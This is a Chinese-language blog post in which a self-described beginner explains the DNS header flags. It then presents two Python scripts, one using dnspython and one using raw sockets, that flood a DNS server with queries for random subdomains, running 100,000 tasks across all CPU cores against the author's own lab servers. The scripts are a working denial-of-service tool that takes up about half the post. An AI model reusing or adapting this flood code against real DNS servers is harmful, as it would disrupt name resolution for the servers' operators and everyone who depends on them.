一、
我是個菜B,慢慢摸索學習中。
安裝模塊 pip install dnspython
使用python調用dnspython模塊,寫了一個dns攻擊的小程序,目標IP為自己搭建的DNS服務器,並且可以獲取DNS的標志位返回值,其中還可以使用程序查看返回值,其實沒卵用。
相關的DNS的報文格式大概如下:
(1)公共報文頭格式其中header報文頭是必須有的,其他的有沒有在報文頭里有定義:
標識ID: 請求客戶端設置的16位標示,服務器給出應答的時候會帶相同的標示字段回來,這樣請求客戶端就可以區分不同的請求應答了。
QR 1個比特位用來區分是請求(0)還是應答(1)。
OPCODE 4個比特位用來設置查詢的種類,應答的時候會帶相同值,可用的值如下:
0 標准查詢 (QUERY)
1 反向查詢 (IQUERY)
2 服務器狀態查詢 (STATUS)
3-15 保留值,暫時未使用
AA 授權應答(Authoritative Answer) - 這個比特位在應答的時候才有意義,指出給出應答的服務器是查詢域名的授權解析服務器。
注意因為別名的存在,應答可能存在多個主域名,這個AA位對應請求名,或者應答中的第一個主域名。
TC 截斷(TrunCation) - 用來指出報文比允許的長度還要長,導致被截斷。
RD 期望遞歸(Recursion Desired) - 這個比特位被請求設置,應答的時候使用的相同的值返回。如果設置了RD,就建議域名服務器進行遞歸解析,遞歸查詢的支持是可選的。
RA 支持遞歸(Recursion Available) - 這個比特位在應答中設置或取消,用來代表服務器是否支持遞歸查詢。
Z 保留值,暫時未使用。在所有的請求和應答報文中必須置為0。
RCODE 應答碼(Response code) - 這4個比特位在應答報文中設置,代表的含義如下:
0 沒有錯誤。
1 報文格式錯誤(Format error) - 服務器不能理解請求的報文。
2 服務器失敗(Server failure) - 因為服務器的原因導致沒辦法處理這個請求。
3 名字錯誤(Name Error) - 只有對授權域名解析服務器有意義,指出解析的域名不存在。
4 沒有實現(Not Implemented) - 域名服務器不支持查詢類型。
5 拒絕(Refused) - 服務器由於設置的策略拒絕給出應答。比如,服務器不希望對某些請求者給出應答,或者服務器不希望進行某些操作(比如區域傳送zone transfer)。
6-15 保留值,暫時未使用。
問題數QDCOUNT 無符號16位整數表示報文請求段中的問題記錄數。
資源記錄數ANCOUNT 無符號16位整數表示報文回答段中的回答記錄數。
授權資源記錄數NSCOUNT 無符號16位整數表示報文授權段中的授權記錄數。
額外資源記錄數ARCOUNT 無符號16位整數表示報文附加段中的附加記錄數。
說句實話,我這種菜B真的是看不懂這些。
下面是我的小代碼,其實很簡單的:相關dnspython模塊可以參考https://www.cnblogs.com/nicholas-920610/articles/7149057.html
from dns import message,query import random import string import multiprocessing import threading def FlagCount(flags, pos): if int(flags/(2**pos))%2 == 1: return True else: return False def GetFlags(flags): QR_pos = 15 AA_pos = 10 TC_pos = 9 RD_pos = 8 RA_pos = 7 QR_flag = FlagCount(flags, QR_pos) AA_flag = FlagCount(flags, AA_pos) TC_flag = FlagCount(flags, TC_pos) RD_flag = FlagCount(flags, RD_pos) RA_flag = FlagCount(flags, RA_pos) flag_dic = {"QR":QR_flag, "AA":AA_flag, "TC":TC_flag, "RD":RD_flag, "RA":RA_flag} for flag,v in flag_dic.items(): print(flag,':',v) def attack(domain_name): server = '192.168.32.128' port = 53 dns_query = message.make_query(domain_name,'A') response = query.udp(dns_query,server,port) # print(response) def generate_random_name(): ch = list(string.ascii_lowercase) + list(map(str,range(10))) rand_ch = random.sample(ch,random.randint(3,10)) return ''.join(rand_ch) def start_attack(): domain_name = generate_random_name() + '.hjc.com' attack(domain_name) print(domain_name) if __name__ == '__main__': p = multiprocessing.Pool(processes=multiprocessing.cpu_count()) for _ in range(100000): p.apply_async(start_attack) p.close() p.join() # print(response) # for content in response.answer: # print(content.to_text()) # GetFlags(response.flags)
改進版本,利用socket發包,但是不知道為什么流量很低,有待研究:
# -*- utf-8 -*-
import socket
import random
import string
import multiprocessing
def generate_random_name():
ch = list(string.ascii_lowercase) + list(map(str,range(10)))
rand_ch = random.sample(ch,random.randint(3,10))
return ''.join(rand_ch)
def start_attack():
rand_name = generate_random_name()
len_rand_name = chr(len(rand_name))
identifier = chr(random.randint(1,255))
msg = bytes(map(ord, '%s%s\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00%s%s\x03hjc\x03com\x00\x00\x01\x00\x01' % (identifier,identifier,
len_rand_name, rand_name)))
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setblocking(0)
sock.sendto(msg, ('192.168.5.128', 53))
if __name__ == '__main__':
p = multiprocessing.Pool(processes=multiprocessing.cpu_count())
for _ in range(100000):
p.apply_async(start_attack)
p.close()
p.join()
就是這個樣子了,不成氣候,不知道為啥流量上不來
組成的隨機域名大致如下所示:
tozmgde7.hjc.com
u2js79.hjc.com
vru76f.hjc.com
9okeyptud.hjc.com
207lih.hjc.com
在我的DNS服務器192.168.5.128上開啟了BIND服務,並打開了query_log日志,相關日志請求樣子如下:
結合awk等命令統計了一下,一分鍾的請求量,如圖:
就是這樣子了,自己玩一玩,沒有實際測試過線上的攻擊額,我要努力向單位和生活中的大神們學習啊。